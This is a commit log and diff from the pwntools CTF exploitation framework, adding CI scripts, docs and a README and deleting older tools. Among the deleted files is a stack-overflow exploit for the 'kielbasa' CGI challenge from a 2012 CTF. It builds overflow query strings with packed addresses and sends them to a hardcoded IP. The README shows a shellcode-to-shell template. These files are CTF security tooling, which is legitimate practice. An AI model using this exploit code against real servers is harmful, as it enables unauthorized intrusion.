Morten Brøns-Pedersen a11cf1b448 multiple asm instructions can be separated by semi-colons 2013-05-06 16:41:28 +02:00
Martin Bjerregaard Jepsen 07690818f3 Merge branch 'master' of https://github.com/pwnies/pwntools 2013-05-05 22:06:23 +02:00
Martin Bjerregaard Jepsen 45952e3f0e Pwntools is now covered by a MIT license 2013-05-05 22:05:48 +02:00
Mathias Svensson 7b6bcdfeab Argparse is needed too 2013-05-05 20:12:25 +02:00
Morten Brøns-Pedersen 48151501f0 fixed bug in options where not all key presses were handled properly 2013-05-04 01:27:00 +02:00
Morten Brøns-Pedersen 23ba549958 added function options 2013-05-04 01:07:26 +02:00
Morten Brøns-Pedersen bf55fbe034 extended enhex to handle ints as well as strings 2013-05-03 19:28:53 +02:00
Morten Brøns-Pedersen 457c7134b1 added log.status_append 2013-05-03 19:27:33 +02:00
Morten Brøns-Pedersen ce94dcc852 new log.waitfor with example! 2013-05-02 21:57:59 +02:00
Morten Brøns-Pedersen 4e8fd099fc added silent option to process and remote 2013-05-02 20:07:21 +02:00
Kristoffer Søholm b848ccf806 Added english bi/tri-gram frequencies 2013-05-02 19:26:46 +02:00
Morten Brøns-Pedersen 4c3156cc01 added README.md for crop tool 2013-05-02 15:15:02 +02:00
Morten Brøns-Pedersen 0f57f71808 crop Makefile now creates bin/ directory 2013-05-02 15:14:41 +02:00
Morten Brøns-Pedersen 7fe3e0ad08 added README.md to bytes tool 2013-05-02 15:13:17 +02:00
Morten Brøns-Pedersen 07c0abd75e bytes: Makefile now creates bin directory 2013-05-02 15:11:58 +02:00
Morten Brøns-Pedersen 380b85a309 bytes: more sane default settings 2013-05-02 14:59:38 +02:00
Morten Brøns-Pedersen cca66e3488 old stuff is old (removed mips/) 2013-05-02 14:31:28 +02:00
Morten Brøns-Pedersen 682d0ed83b removed obsolete file 2013-05-02 14:30:38 +02:00
Morten Brøns-Pedersen 9e22e42b8b Merge branch 'master' of github.com:pwnies/pwntools 2013-05-02 11:24:24 +02:00
Morten Brøns-Pedersen 3c6fe4b435 fixed pidof for sockets, attach_gdb for sockets, and updated attach demo accordingly 2013-05-02 11:24:07 +02:00
mortenbp fa42dfab59 Update README.md
Added some tools
2013-05-02 10:14:39 +03:00
Morten Brøns-Pedersen e29ee48f47 added */bin/* to .gitignore 2013-05-02 09:08:53 +02:00
Morten Brøns-Pedersen 191eb075d2 added tool mags 2013-05-02 09:08:32 +02:00
Morten Brøns-Pedersen efa1402591 made bin directory under directory gadgets, and updated symlink and Makefile 2013-05-02 09:06:31 +02:00
Morten Brøns-Pedersen b3ae18277a added tool gadgets 2013-05-02 09:03:47 +02:00
Morten Brøns-Pedersen b0f5d42b28 added tool dictgen 2013-05-02 09:01:39 +02:00
Morten Brøns-Pedersen 4162ee6a3b added tool crop 2013-05-02 09:00:14 +02:00
Morten Brøns-Pedersen e51ff46ef0 added tool bytes 2013-05-02 08:57:34 +02:00
IdolfHatler c94c41f730 I still suck at markdown, but now I at least know about the preview functionality in github. 2013-05-01 10:53:51 +03:00
Mathias Svensson ed8134980b I suck at markdown 2013-05-01 09:48:55 +02:00
Mathias Svensson 2bbe436b6c New README 2013-05-01 09:48:15 +02:00
Mathias Svensson 8369916cd1 Initial commit 2013-05-01 09:19:47 +02:00
696 changed files with 75345 additions and 46195 deletions

No files matched your search

+1
View File
@@ -0,0 +1 @@
pwnlib/data/* linguist-vendored
+6
View File
@@ -4,3 +4,9 @@
*~
*.pdf
*/auto/*
*/bin/*
docs/build
build
MANIFEST
dist
pwntools.egg-info
-3
View File
@@ -1,3 +0,0 @@
[submodule "lib/rpyc"]
path = lib/rpyc
url = https://github.com/tomerfiliba/rpyc.git
+15
View File
@@ -0,0 +1,15 @@
language: python
python:
- "2.7"
branches:
only:
- master
install:
- source .travis_install.sh
- source .travis_ssh_setup.sh
- python -c 'from pwn import *; print pwnlib.term.term_mode' NOTERM
- python -c 'from pwn import *; print pwnlib.term.term_mode' NOTERM
- python -c 'from pwn import *; print pwnlib.term.term_mode' NOTERM
- python -c 'from pwn import *; print pwnlib.term.term_mode' NOTERM
script: make -C docs doctest
+29
View File
@@ -0,0 +1,29 @@
#!/usr/bin/env bash
setup_linux()
{
sudo apt-get update
sudo apt-get install software-properties-common pwgen
sudo apt-add-repository --yes ppa:pwntools/binutils
sudo apt-get update
sudo apt-get install binutils-arm-linux-gnu binutils-mips-linux-gnu binutils-powerpc-linux-gnu
wget -nc http://www.capstone-engine.org/download/2.1.2/capstone-2.1.2_amd64.deb
(echo "a30bcb58fd82d32b135eec978eaa22230c44e722 *capstone-2.1.2_amd64.deb" | sha1sum -c) || exit
sudo dpkg -i *.deb
}
setup_osx()
{
brew update
brew install binutils
brew install capstone
}
case $(uname) in
Darwin) setup_osx ;;
Linux) setup_linux ;;
esac
pip install -r requirements.txt
pip install -r docs/requirements.txt
pip install .
+18
View File
@@ -0,0 +1,18 @@
#!/usr/bin/env bash
#
# Install a demo user for SSH purposes
#
U=demouser
H=/home/$U
sudo useradd -m $U
ssh-keygen -t rsa -f /tmp/$U -N ''
eval $(ssh-agent -s)
ssh-add /tmp/$U
sudo -u $U mkdir $H/.ssh
sudo -u $U cp /tmp/$U.pub $H/.ssh/authorized_keys
sudo chmod -R 700 $H
(echo -n "$U:"; pwgen 100 1) | sudo chpasswd
+18
View File
@@ -0,0 +1,18 @@
# Changelog
This changelog only includes added major features and changes. Bugfixes and
minor changes are omitted.
## 2.2.0 - 2014-08-28 (pre)
This was a large release with a lot of bugfixes and changes. Only the most significant
are mentioned here.
- Added shellcodes
- Added phd
- Re-added our expansion of itertools
- Added replacements for some semi-broken python standard library modules
- Re-implemented the rop module
- Added a serial tube
- Huge performance gains in the buffering for tubes
- Re-added user agents
+38
View File
@@ -0,0 +1,38 @@
# Contributing
We love pull requests!
Github has a great guide for contributing to open source projects:
- [Contributing to a project](https://guides.github.com/activities/forking/)
- [Fork the repository](https://guides.github.com/activities/forking/#fork)
- [Clone your fork](https://guides.github.com/activities/forking/#clone)
- [Making and pushing changes](https://guides.github.com/activities/forking/#making-changes)
- [Making a Pull Request](https://guides.github.com/activities/forking/#making-a-pull-request)
- [Huzzah!](https://guides.github.com/activities/forking/#huzzah)
## Pwntools Specifics
In general, we like to keep things documented. You should add documentation to any new functionality, and update it for any changed functionality. Our docstrings use the [Google Style Python Docstrings](https://sphinxcontrib-napoleon.readthedocs.org/en/latest/example_google.html#example-google).
After you have documentation, you should add a [doctest](https://docs.python.org/2/library/doctest.html).
Finally, it is probably a good idea to run the test suite locally before doing
the pull-request to make sure everything works, however this is not a
requirement.
Once you do the pull-request Travis CI will run the test-suite on it. Once it
passes one of the core developers will look at your pull request, possibly
comment on it and then hopefully merge it into master.
## Test Suite
To run the test suite, you should be running Ubuntu 12.04 or 14.04, and run the following commands. **Be aware** that this will add a user to your machine, and create a public key for SSH login!
```sh
bash .travis_install.sh
bash .travis_ssh_setup.sh
cd docs
pip install -r requirements.txt
make doctest
```
+34
View File
@@ -0,0 +1,34 @@
TL;DR version:
Everything in pwntools is open source. Most is under an MIT license, but a
few pieces are under GPL or a BSD 2-clause licence.
This license covers everything within this project, except for a few pieces
of code that we either did not write ourselves or which we derived from code
that we did not write ourselves. These few pieces have their license specified
in a header, or by a file called LICENSE.txt, which will explain exactly what
it covers. The few relevant pieces of code are all contained inside these
directories:
- pwnlib/constants/
- pwnlib/data/
Copyright (c) 2013 Gallopsled
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.
+1
View File
@@ -0,0 +1 @@
include *.txt
-2
View File
@@ -1,2 +0,0 @@
1. Add the `lib' directory to your PYTHONPATH
2. Whine on #pwnies on freenode.net when stuff doesn't work
+56
View File
@@ -0,0 +1,56 @@
# pwntools - CTF toolkit
[![Docs latest](https://readthedocs.org/projects/pwntools/badge/)](https://pwntools.readthedocs.org/en/latest)
[![Docs 2.1.3](https://readthedocs.org/projects/pwntools/badge/?version=2.1.3)](https://pwntools.readthedocs.org/en/2.1.3)
[![PyPI](https://img.shields.io/pypi/v/pwntools.svg)](https://pypi.python.org/pypi/pwntools/)
[![Gittip](https://img.shields.io/gittip/gallopsled.svg)](https://www.gittip.com/gallopsled/)
[![Travis](https://travis-ci.org/Gallopsled/pwntools.svg)](https://travis-ci.org/Gallopsled/pwntools)
This is the CTF framework used by Gallopsled in every CTF.
```python
from pwn import *
context(arch = 'i386', os = 'linux')
r = remote('exploitme.example.com', 31337)
# EXPLOIT CODE GOES HERE
r.send(asm(shellcraft.sh()))
r.interactive()
```
However we have made command-line frontends for some of the functionality
in `pwnlib`. These are:
* `asm`/`disasm`: Small wrapper for various assemblers.
* `constgrep`: Tool for finding constants defined in header files.
* `cyclic`: De Bruijn sequence generator and lookup tool.
* `hex`/`unhex`: Command line tools for doing common hexing/unhexing operations.
* `shellcraft`: Frontend to our shellcode.
* `phd`: Replacement for `hexdump` with colors.
# Documentation
Our documentation is available at [pwntools.readthedocs.org](https://pwntools.readthedocs.org/en/latest/)
To get you started, we've provided some example solutions for past CTF challenges in our [write-ups repository](https://github.com/Gallopsled/pwntools-write-ups).
# Installation
pwntools is best supported on Ubuntu 12.04 and 14.04, but most functionality should work on any Posix-like distribution (Debian, Arch, FreeBSD, OSX, etc.).
Most of the functionality of pwntools is self-contained and Python-only. You should be able to get running quickly with
```sh
pip install pwntools
```
However, some of the features (ROP generation and assembling/disassembling foreign architectures) require non-Python dependencies. For more information, see the [complete installation instructions here](https://pwntools.readthedocs.org/en/latest/install.html).
# Contribution
See [CONTRIBUTING.md](CONTRIBUTING.md)
# Contact
If you have any questions not worthy of a [bug report](https://github.com/Gallopsled/pwntools/issues), feel free to join us
at [`#gallopsled` on Freenode](irc://irc.freenode.net/gallopsled) and ask away.
Click [here](https://kiwiirc.com/client/irc.freenode.net/gallopsled) to connect.
-54
View File
@@ -1,54 +0,0 @@
#!/usr/bin/python
import argparse, tempfile, sys, subprocess, os
parser = argparse.ArgumentParser()
parser.add_argument('lines', metavar='line', nargs='*', help='Lines to assemble. If none are supplied, use stdin')
parser.add_argument("-b", "--bits", help="The assembly mode", choices=[16,32,64], default=32, type=int)
parser.add_argument("-f", "--format", help="Output format (defaults to hex for ttys, otherwise raw)", choices=['raw', 'hex'])
parser.add_argument("-o", metavar='file', help="Output file (defaults to stdout)", type=argparse.FileType('w'), default=sys.stdout)
parser.add_argument("-O", metavar='level', help="Optimization options to pass to nasm", choices = ['0', '1', 'x'], default='x')
args = parser.parse_args()
if args.format == None:
if args.o.isatty():
args.format = 'hex'
else:
args.format = 'raw'
tmp = tempfile.NamedTemporaryFile(suffix='.asm')
tmpname = tmp.name
tmp.write('[BITS %d]\n' % args.bits)
if len(args.lines) > 0:
tmp.write('\n'.join(args.lines))
else:
tmp.write(sys.stdin.read())
tmp.flush()
try:
retval = subprocess.call(['nasm', '-O' + args.O, '-o', tmpname + '.out', tmpname], stdout=sys.stderr, stderr=sys.stderr)
tmp.close()
if retval != 0:
sys.exit(retval)
with open(tmpname + '.out') as f:
output = f.read()
if args.format == 'raw':
args.o.write(output)
elif args.format == 'hex':
args.o.write(output.encode('hex') + '\n')
else:
raise Exception("Unknown output format") # This really shouldn't happen
args.o.flush()
finally:
try:
os.unlink(tmpname + '.out')
except:
pass
-19
View File
@@ -1,19 +0,0 @@
#!/usr/bin/python
import argparse, tempfile, sys, subprocess, os, readline
parser = argparse.ArgumentParser()
parser.add_argument('hex', metavar='hex', nargs='?', help='Hex-string to disasemble. If none are supplied, then it uses stdin in non-hex mode.')
parser.add_argument("-b", "--bits", help="The disassembly mode", choices=['16','32','64'], default='32')
args = parser.parse_args()
tmp = tempfile.NamedTemporaryFile(suffix='.bin')
tmpname = tmp.name
if args.hex != None:
tmp.write(args.hex.decode("hex"))
else:
tmp.write(sys.stdin.read())
tmp.flush()
sys.exit(subprocess.call(['ndisasm', '-b' + args.bits, tmpname], stdout=sys.stderr, stderr=sys.stderr))
-1
View File
@@ -1 +0,0 @@
../asm/asm
-1
View File
@@ -1 +0,0 @@
../visualization/binvis.py
-1
View File
@@ -1 +0,0 @@
../bytes/bin/bytes
-1
View File
@@ -1 +0,0 @@
../crop/bin/crop
-1
View File
@@ -1 +0,0 @@
../cyclic/cyclic
-1
View File
@@ -1 +0,0 @@
../demo/demo32
-1
View File
@@ -1 +0,0 @@
../demo/demo64
-1
View File
@@ -1 +0,0 @@
../dictgen/dictgen
-1
View File
@@ -1 +0,0 @@
../asm/disasm
-1
View File
@@ -1 +0,0 @@
../gadgets/gadgets
-1
View File
@@ -1 +0,0 @@
../pil/getdata
-1
View File
@@ -1 +0,0 @@
../hex/hex
-1
View File
@@ -1 +0,0 @@
../mags/mags
-1
View File
@@ -1 +0,0 @@
../nops/nops
-1
View File
@@ -1 +0,0 @@
../poke/peek
-1
View File
@@ -1 +0,0 @@
../poke/poke
-1
View File
@@ -1 +0,0 @@
../randomua/randomua
-1
View File
@@ -1 +0,0 @@
../scramble/scramble
-1
View File
@@ -1 +0,0 @@
../pil/setdata
-1
View File
@@ -1 +0,0 @@
../shellcraft/shellcraft
-1
View File
@@ -1 +0,0 @@
../unhex/unhex
-1
View File
@@ -1 +0,0 @@
../wrap/wrap32
-1
View File
@@ -1 +0,0 @@
../wrap/wrap64
BIN
View File
Binary file not shown.
BIN
View File
Binary file not shown.
-23
View File
@@ -1,23 +0,0 @@
#!/bin/bash
# This script was used to generate the binaries in this folder
# Its mostly untested and probably assumes stuff about the system it runs on
#
# USE WITH CAUTION
if [ -z "$1" ]; then
echo "Usage: $0 target"
exit 0
fi
TARGET="$1"
export CFLAGS="-m32 -Os -fno-exceptions -fno-asynchronous-unwind-tables -fno-unwind-tables -ffunction-sections -fdata-sections -Wl,--gc-sections -Wno-error=unused-but-set-variable -Wno-error=format-security"
export MAKEFLAGS='-j 4'
cd ~/src; rm -rf binutils-"$TARGET"-build; mkdir binutils-"$TARGET"-build; cd binutils-"$TARGET"-build/
time { ../binutils-2.22/configure --disable-libquadmath --disable-libquadmath-support --disable-nls --enable-no_exceptions --enable-no_rtti --disable-ppl-version-check --disable-cloog-version-check --disable-foo --without-fp --disable-intl --disable-gprof --disable-ld --target="$TARGET"-linux; make; make; } || exit 1
for f in gas/as-new binutils/objdump binutils/objcopy; do
strip -s --strip-all --remove-section=.comment --remove-section=.note $f
upx -qqq --best --ultra-brute $f
du -hs $f
done
BIN
View File
Binary file not shown.
BIN
View File
Binary file not shown.
BIN
View File
Binary file not shown.
BIN
View File
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
BIN
View File
Binary file not shown.
-4
View File
@@ -1,4 +0,0 @@
.PHONY: all
all:
premlton src/bytes.mlb
mv src/bytes bin/bytes
BIN
View File
Binary file not shown.
Submodule bytes/mylib deleted from 0aa9e1e66f.
-16
View File
@@ -1,16 +0,0 @@
signature Log =
sig
datatype level = Debug
| Verbose
| Chatty
| Normal
| Quiet
val setLevel : level -> unit
val setIndentation : int -> unit
val indent : int -> unit
val debug : string -> unit
val verbose : string -> unit
val chatty : string -> unit
val normal : string -> unit
val warning : string -> unit
end
-49
View File
@@ -1,49 +0,0 @@
structure Log :> Log =
struct
datatype level = Debug
| Verbose
| Chatty
| Normal
| Quiet
val level = ref Normal
val ind = ref 0
fun setLevel l = level := l
fun setIndentation n = ind := n
fun indent n = ind := (!ind + n)
fun print s = if !ind > 0
then println (String.spaces (!ind) ^ s)
else println s
fun debug s =
if !level = Debug
then print s
else ()
fun verbose s =
if !level = Verbose
then print s
else debug s
fun chatty s =
if !level = Chatty
then print s
else verbose s
fun normal s =
if !level <> Quiet
then print s
else ()
fun warning s =
(TextIO.output (TextIO.stdErr,
if !level = Quiet
then s ^ "\n"
else String.spaces (!ind) ^ s ^ "\n"
)
; TextIO.flushOut TextIO.stdErr)
end
-10
View File
@@ -1,10 +0,0 @@
local
$(SML_LIB)/basis/basis.mlb
../mylib/MyLib.mlb
in
Log.sig
Log.sml
%pre main.sml
%pre go.sml
end
-188
View File
@@ -1,188 +0,0 @@
val version = "0.0.1"
fun usage name =
map println
["usage: % [options] [file]" <- name
, ""
, "Options: (default marked by *)"
, " -r, --radix"
, " *a Auto"
, " b Binary"
, " o Octal"
, " d Decimal"
, " h Hexadecimal"
, " -u, --unsigned"
, " -p, --plain"
, " -g, --groupsize"
, " *a Auto"
, " n Groups of n bytes"
, " -e, --endian"
, " *l Little"
, " b Big"
, " -i, --inter-byte-endian"
, " l Little"
, " *b Big"
, " -o <file>"
]
fun printVersionAndExit () = (println ("bytes version " ^ version)
; OS.Process.exit OS.Process.success)
fun printUsageAndExit () = (usage $ CommandLine.name ()
; OS.Process.exit OS.Process.success)
fun die e = (Log.warning e ; OS.Process.exit OS.Process.failure)
local
val radix = ref NONE
val unsigned = ref false
val plain = ref false
val groupsize = ref NONE
val endian = ref Little
val bendian = ref Big
val src = ref NONE
val dst = ref NONE
fun setRadix x = radix := SOME x
fun setUnsigned () = unsigned := true
fun setPlain x = plain := true
fun setGroupsize x = groupsize := SOME x
fun setBendian x = bendian := x
fun setEndian x = endian := x
fun setSrc x = case !src of
SOME s => raise Fail ("Only one source file allowed \
\(you already told me '" ^ s ^ "')")
| NONE => src := SOME x
fun setDst x = dst := SOME x
fun getOpt () =
let
val src = case !src of
SOME "-" => TextIO.stdIn
| SOME f => TextIO.openIn f
| NONE => printUsageAndExit ()
val dst = case !dst of
SOME f => TextIO.openOut f
| NONE => TextIO.stdOut
in
(!radix, !unsigned, !plain, !groupsize, !endian, !bendian, src, dst)
end
handle IO.Io {cause = OS.SysErr (desc, _), name, ...} =>
raise Fail (desc ^ ": '" ^ name ^ "'")
in
fun parseArgs args =
let open Parser val op >>= = op --> infix >>> ||| --|
fun unknownOpt k v =
raise Fail ("Unknown option (%): %" <- k <- v)
val args =
List.concatMap
(fn arg =>
case explode arg of
#"-" :: c :: cs =>
if c <> #"-" andalso not $ null cs
then [String.substring (arg, 0, 2)
, String.extract (arg, 2, NONE)]
else [arg]
| _ => [arg])
args
val radix =
do tok <- any
; return
(case tok of
"binary" => setRadix Bin
| "b" => setRadix Bin
| "octal" => setRadix Oct
| "o" => setRadix Oct
| "decimal" => setRadix Dec
| "d" => setRadix Dec
| "hexadecimal" => setRadix Hex
| "h" => setRadix Hex
| "auto" => ()
| "a" => ()
| _ => unknownOpt "--radix" tok
)
end
val groupsize =
do tok <- any
; return
(case Int.fromString tok of
SOME n => setGroupsize n
| NONE =>
case tok of
"a" => ()
| "auto" => ()
| _ => unknownOpt "--groupsize" tok
)
end
val endian =
any >>>
(fn "l" => setEndian Little
| "little" => setEndian Little
| "b" => setEndian Big
| "big" => setEndian Big
| tok => unknownOpt "--endian" tok
)
val bendian =
any >>>
(fn "l" => setBendian Little
| "little" => setBendian Little
| "b" => setBendian Big
| "big" => setBendian Big
| tok => unknownOpt "--inter-byte-endian" tok
)
fun help ? = (return $ printUsageAndExit ()) ?
val one =
do tok <- any
; case tok of
"--radix" => radix
| "-r" => radix
| "--unsigned" => return $ setUnsigned ()
| "-u" => return $ setUnsigned ()
| "--plain" => return $ setPlain ()
| "-p" => return $ setPlain ()
| "--groupsize" => groupsize
| "-g" => groupsize
| "--endian" => endian
| "-e" => endian
| "--inter-byte-endian" => bendian
| "-i" => bendian
| "-o" => any >>> setDst
| "--help" => help
| "-h" => help
| "-?" => help
| "--version" => return $ printVersionAndExit ()
| _ => return $ setSrc tok
end
val parse =
do many' one
; eof
end
in
case Parse.list parse args of
Right _ => getOpt ()
| Left ({token = SOME x, ...} :: _) =>
raise Fail ("Could not parse command line arguments\
\ (failed on '" ^ x ^ "')")
| Left _ =>
raise Fail ("Could not parse command line arguments")
end
end
fun verify (args as (radix, unsigned, plain, groupsize, endian, bendian, _, _)) =
((if plain andalso (radix = SOME Oct orelse radix = SOME Dec)
then raise Fail "Only hex and binary allowed in plain mode"
else ())
; Option.map (fn n => if n <= 0
then raise Fail "Groupsize must be strictly positive"
else ()) groupsize
; args
)
fun go () =
main $ verify $ parseArgs $ CommandLine.arguments ()
handle Fail s => die s
val _ = go ()
-226
View File
@@ -1,226 +0,0 @@
fun impossible s = raise Fail $ "Impossible: %" <- s
datatype radix
= Bin
| Oct
| Dec
| Hex
datatype format
= Plain
datatype endian
= Little
| Big
fun main (radix, unsigned, plain, groupsize, endian, bendian, src, dst) =
let open Parser val op >>= = op -->
open (oneOf, noneOf, char, string, strings, whitespace, alphaNum) Text
infix 0 |||
infix 1 --- |-- --| ^^^ ::: @@@
infix 2 >>> >>= ??? produce underlies
open IntInf
fun offset n c = fromInt $ Int.- (ord c, n)
val bindig =
oneOf "01" >>> offset 0x30
val octdig =
oneOf "01234567" >>> offset 0x30
val decdig =
oneOf "0123456789" >>> offset 0x30
val hexdig =
oneOf "0123456789" >>> offset 0x30
||| oneOf "abcdef" >>> offset 0x57
||| oneOf "ABCDEF" >>> offset 0x37
val bin = many1 bindig
val oct = many1 octdig
val dec = many1 decdig
val hex = many1 hexdig
fun signed p = do oneOf "-~"
; (b, _, n) <- p
; return (b, ~1, n)
end ||| p
fun valuate (b, s, ns) = s * foldl (fn (d, s) => s * b + d) 0 ns
fun read strm = Option.map (, strm) $ TextIO.input1 src
fun write1 b =
TextIO.output1 (dst, chr $ Int.fromLarge b)
fun groups n e xs =
(if e = Little then rev else id) (List.take (xs, n)) ::
groups n e (List.drop (xs, n))
handle Subscript => []
fun goPlain () =
let
val groupsize = getOpt (groupsize, 1)
(* val radix = getOpt (radix, Hex) *)
(* a byte is `n` base `b` digits in `e` endian order *)
fun go n b =
app write1 o
List.concat o
groups groupsize endian o
map (valuate o (b, 1, )) o
groups n bendian o
List.concat
in
case radix of
SOME Hex =>
do whitespace
; ds <- many $ Lex.lexeme hex
; eof
; return $ go 2 16 ds
end
| SOME Bin =>
do whitespace
; ds <- many $ Lex.lexeme bin
; eof
; return $ go 8 2 ds
end
| NONE =>
do whitespace
; ds <- many $ Lex.lexeme hex
; eof
; return (
if List.all (List.all (fn d => d = 0 orelse d = 1)) ds
then go 8 2 ds
else go 2 16 ds
)
end
| _ => impossible "main.goPlain"
end
fun goAuto () =
let
val auto = try do strings ["0x", "0X", "\\x", "\\X"]
; hex >>> (SOME 16, 1,)
end |||
try do d <- decdig
; ds <- hex
; char #"h"
; return (SOME 16, 1, ds)
end |||
try do ds <- oct
; char #"o"
; return (SOME 8, 1, ds)
end |||
(* try do char #"0" *)
(* ; oct >>> (SOME 8, 1,) *)
(* end ||| *)
try do char #"\\"
; count 3 octdig >>> (SOME 8, 1,)
end |||
hex >>> (NONE, 1,)
val num =
(if unsigned then id else signed)
(case radix of
NONE => auto
| SOME Bin => bin >>> (SOME 2, 1,)
| SOME Oct => oct >>> (SOME 8, 1,)
| SOME Dec => dec >>> (SOME 10, 1,)
| SOME Hex => hex >>> (SOME 16, 1,)
)
fun autosize ns =
let
val (min, max) = foldl (fn (x, (min, max)) =>
if x < min then (x, max)
else if x > max then (min, x)
else (min, max)) (0, 0) ns
fun isZero n = sign n = 0
fun log n =
if isZero n
then 0
else Int.+ (1, log (n div 256))
in
Int.max(1, if min < 0
then log (max - min)
else log max)
end
fun autobase ns =
case List.partition (fn (mbb, _, _) => mbb <> NONE) ns of
(nil, ns) =>
let
val max = foldl IntInf.max 0
val b = max $ map (fn (_, _, ds) => max ds) ns
val b = case (b >= 10, b >= 2) of
(true, _) => 16
| (_, true) => 10
| _ => 2
in
map (fn (_, s, ns) => (b, s, ns)) ns
end
| (ns, _) => map (fn (mbb, s, ns) => (valOf mbb, s, ns)) ns
val isbits = List.all (fn (b, s, ns) => b = 2 andalso
s = 1 andalso
length ns = 1)
(* Negative numbers just work magically *)
fun write n x =
let
fun loop 0 _ = []
| loop n x =
let
val (b, x') = (x mod 256
, x div 256)
in
b :: loop (Int.- (n, 1)) x'
end
in
case endian of
Little => app write1 $ loop n x
| Big => app write1 $ rev $ loop n x
end
fun binary ns =
let
val groupsize = case groupsize of
NONE => 1
| SOME n => n
val bits = map (fn (_, _, ds) => hd ds) ns
val bytes = map (valuate o (2, 1,)) $ groups 8 bendian bits
val words = List.concat $ groups groupsize endian bytes
in
app write1 words
end
fun regular ns =
let
val vs = map valuate ns
val groupsize = case groupsize of
NONE => autosize vs
| SOME n => n
in
app (write groupsize) vs
end
in
do ns <- many $ match num
; ns := autobase ns
; return (if isbits ns
then binary ns
else regular ns)
end
end
val go =
if plain
then goPlain ()
else try (goPlain ()) ||| goAuto ()
in
Parse.testString go $ TextIO.inputAll src
(* test (fn c => "'" ^ str c ^ "'") *)
(* go *)
(* (Option.map (, src) o TextIO.input1) *)
(* src *)
end
-2
View File
@@ -1,2 +0,0 @@
Files used to exploit the CGI binary in the kielbasa challenge from secuinside 2012.
Can be used as a template for exploiting CGI binaries by stack overflow.
-10
View File
@@ -1,10 +0,0 @@
#!/bin/sh
echo wpxlc7BG > log/1339253868.log
export REQUEST_METHOD="GET"
export REMOTE_ADDR=127.0.0.1
export REMOTE_PORT=4242
export HTTP_USER_AGENT=awesome
export QUERY_STRING='q=sent&t_s=133925386800000000000000000000009&v=wpxlc7BG000000000000000000000000xxxxxxxxxxxxxxxxxxxxxxxx1'
#./captcha.cgi
gdbserver --once localhost:23946 ./captcha.cgi
#./handle_sent
-19
View File
@@ -1,19 +0,0 @@
#!/usr/bin/env python3
import sys
import kielbasa
if len(sys.argv) > 1:
ts = bytes(sys.argv[1], 'ASCII')
else:
ts = b'1339253868'
if len(sys.argv) > 2:
v = bytes(sys.argv[2], 'ASCII')
else:
v = b'wpxlc7BG'
f = open('log/'+str(ts, 'ASCII')+'.log', 'wb')
f.write(v)
f.close()
(ts_par, v_par) = kielbasa.exploit1_qs(ts, v)
print(str(kielbasa.request_remote('sent', ts_par, v_par, debug=False), 'UTF-8'))
-104
View File
@@ -1,104 +0,0 @@
import socket
import re
import struct
import os
import sys
from subprocess import Popen
from subprocess import PIPE
def is_digit(c):
return not b'ERROR t_s digit' in request('sent', bytes([c]), None)
def _make_querystring(q, t_s = None, v = None):
qs = b'?q=' + bytes(q, 'ASCII')
if t_s != None:
qs += b'&t_s=' + t_s
if v != None:
qs += b'&v=' + v
return qs
def request(q, t_s = None, v = None, useragent = None, remote=True, debug=False):
if remote:
return request_remote(q, t_s, v, useragent)
else:
return request_local(q, t_s, v, useragent, debug)
def request_remote(q,t_s = None, v = None, useragent = None, debug = False):
if debug:
path='/cgi-bin/captcha-debug.cgi'
host='10.10.10.245'
else:
path='/captcha/captcha.cgi'
host='61.42.25.20'
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, 80))
req = b'GET ' + bytes(path, 'ASCII')
req += _make_querystring(q,t_s,v)
s.sendall(req + b' HTTP/1.1\r\n')
s.sendall(b'Host: ' + bytes(host, 'ASCII') + b'\r\n')
if useragent != None:
s.sendall(b'User-Agent: '+useragent+b'\r\n')
else:
s.sendall(b'User-Agent: foobar\r\n')
s.sendall(b'\r\n')
buf = b''
while True:
chunk = s.recv(1024)
if chunk == b'':
break
buf += chunk
return buf
def request_local(q,t_s = None, v = None, useragent = None, debug=False):
if debug:
args = ['/usr/bin/gdbserver', '--once', 'localhost:23946', './captcha.cgi']
else:
args = ['./captcha.cgi']
env = {
'REQUEST_METHOD': 'GET',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '4242',
'HTTP_USER_AGENT': useragent if useragent != None else 'foobar',
'QUERY_STRING': _make_querystring(q,t_s,v),
'PATH': os.environ['PATH']
}
p = Popen(args, bufsize = 4096, env = env,
stdin=PIPE, stdout=PIPE, stderr=PIPE)
buf = b''
while True:
chunk = p.stdout.read(1024)
if chunk == b'':
break
buf += chunk
return buf
def overflow_qs(t_s, v, user_agent, t_s_buf_pointer, remote_port, name_100_buffer, remote_addr, mmap_flags, use_malloc, pad_ts, pad_v, pad_flags = b'xxx'):
overflow_size = b'9' if use_malloc else b'7'
t_s_param = t_s + bytes.ljust(pad_ts, 22, b'0') + overflow_size
v_param = v + bytes.ljust(pad_v, 24, b'0')
v_param += struct.pack('<L', user_agent)
v_param += struct.pack('<L', t_s_buf_pointer)
v_param += struct.pack('<L', remote_port)
v_param += struct.pack('<L', name_100_buffer)
v_param += struct.pack('<L', remote_addr)
v_param += bytes.ljust(pad_flags, 3, b'x')
v_param += struct.pack('B', mmap_flags)
if use_malloc:
v_param += b'1'
return (t_s_param, v_param)
def exploit1_qs(t_s, v):
str1_pos = 0x08049701
null1_pos = 0x08049734
#t_s_buf_pos_bin = struct.pack('<L', t_s_buf_pos)
#return overflow_qs(t_s, v, str1_pos, null1_pos, 0x08048E46, str1_pos, 0x08048DEB, 0x32, False, b'', b'')
return overflow_qs(t_s, v, str1_pos, null1_pos, 0x08048824, str1_pos, 0x08048DEB, 0x32, False, b'', b'')
def exploit2_qs(t_s, v):
str1_pos = 0x08049701
null1_pos = 0x08049734
